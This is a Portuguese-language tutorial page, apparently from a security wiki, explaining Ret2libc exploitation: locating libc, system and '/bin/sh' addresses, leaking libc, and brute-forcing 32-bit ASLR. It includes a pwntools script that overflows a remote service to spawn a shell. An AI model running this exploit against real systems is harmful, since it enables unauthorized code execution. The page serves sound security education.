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# Ret2lib
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## **Informações Básicas**
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A essência do **Ret2Libc** é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, **system**, **execve**, **strcpy**) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria um payload que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, ao mesmo tempo que organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada.
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### **Passos de Exemplo (simplificados)**
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* Obter o endereço da função a ser chamada (por exemplo, system) e o comando a ser chamado (por exemplo, /bin/sh)
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* Gerar uma cadeia ROP para passar o primeiro argumento apontando para a string de comando e o fluxo de execução para a função
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## Encontrando os endereços
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* Supondo que a `libc` usada seja a do computador atual, você pode encontrar onde ela será carregada na memória com:
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{% code overflow="wrap" %}
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```bash
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ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
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```
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{% endcode %}
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Se desejar verificar se o ASLR está alterando o endereço da libc, você pode fazer:
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```bash
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for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
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```
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* Sabendo qual libc está sendo usada, também é possível encontrar o deslocamento para a função `system` com:
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```bash
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readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
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```
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* Sabendo qual libc está sendo usada, também é possível encontrar o deslocamento para a função da string `/bin/sh` com:
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```bash
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strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
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```
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### Usando gdb-peda / GEF
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Sabendo a libc usada, também é possível usar Peda ou GEF para obter o endereço da função **system**, da função **exit** e da string **`/bin/sh`**:
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```
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p system
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p exit
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find "/bin/sh"
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```
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### Usando /proc/\<PID>/maps
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Se o processo estiver criando **filhos** toda vez que você interage com ele (servidor de rede), tente **ler** esse arquivo (provavelmente você precisará ser root).
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Aqui você pode encontrar **exatamente onde a libc está carregada** dentro do processo e **onde será carregada** para cada filho do processo.
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![](<../../../../.gitbook/assets/image (95).png>)
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Neste caso, ela está carregada em **0xb75dc000** (Este será o endereço base da libc)
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## Libc desconhecida
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Pode ser possível que você **não saiba qual libc o binário está carregando** (porque pode estar localizado em um servidor onde você não tem acesso). Nesse caso, você poderia abusar da vulnerabilidade para **vazar alguns endereços e descobrir qual biblioteca libc** está sendo usada:
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{% content-ref url="rop-leaking-libc-address/" %}
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[rop-leaking-libc-address](rop-leaking-libc-address/)
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{% endcontent-ref %}
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E você pode encontrar um modelo do pwntools para isso em:
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{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %}
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[rop-leaking-libc-template.md](rop-leaking-libc-address/rop-leaking-libc-template.md)
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{% endcontent-ref %}
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## Bypassing ASLR em 32 bits
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Esses ataques de força bruta são **úteis apenas para sistemas de 32 bits**.
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* Se o exploit for local, você pode tentar forçar a base de endereços da libc (útil para sistemas de 32 bits):
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```python
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for off in range(0xb7000000, 0xb8000000, 0x1000):
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```
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* Ao atacar um servidor remoto, você pode tentar **forçar o endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor levar 10s extras para responder**, você encontrou o endereço dessa função.
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## One Gadget
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{% content-ref url="../../one-gadget.md" %}
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[one-gadget.md](../../one-gadget.md)
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{% endcontent-ref %}
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## Exemplo de Código x86 Ret2lib
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Neste exemplo, o brute-force do ASLR está integrado no código e o binário vulnerável está localizado em um servidor remoto:
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```python
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from pwn import *
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c = remote('192.168.85.181',20002)
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c.recvline()
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for off in range(0xb7000000, 0xb8000000, 0x1000):
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p = ""
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p += p32(off + 0x0003cb20) #system
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p += "CCCC" #GARBAGE, could be address of exit()
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p += p32(off + 0x001388da) #/bin/sh
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payload = 'A'*0x20010 + p
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c.send(payload)
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c.interactive()
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```
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## Exemplo de Código x64 Ret2lib
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Verifique o exemplo em:
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{% content-ref url="../rop-return-oriented-programing.md" %}
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[rop-return-oriented-programing.md](../rop-return-oriented-programing.md)
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{% endcontent-ref %}
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## Ret-into-printf (ou puts)
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Isso permite **vazar informações do processo** chamando `printf`/`puts` com alguns dados específicos colocados como argumento.
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## Ret2printf
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Isso basicamente significa abusar de um **Ret2lib para transformá-lo em uma vulnerabilidade de strings de formato `printf`** usando o `ret2lib` para chamar printf com os valores para explorá-lo (parece inútil, mas é possível):
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{% content-ref url="../../format-strings/" %}
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[format-strings](../../format-strings/)
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{% endcontent-ref %}
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## Outros Exemplos e Referências
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* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
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* Ret2lib, dado um vazamento para o endereço de uma função na libc, usando um gadget
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* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
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* 64 bits, ASLR ativado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário e então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
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* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
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* 64 bits, ASLR ativado, sem canário, estouro de pilha em main a partir de uma função filha. Gadget ROP para chamar puts e vazar o endereço de puts do GOT e então chamar um gadget.
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* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
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* 64 bits, sem pie, sem canário, sem relro, nx. Usa a função write para vazar o endereço de write (libc) e chama um gadget.
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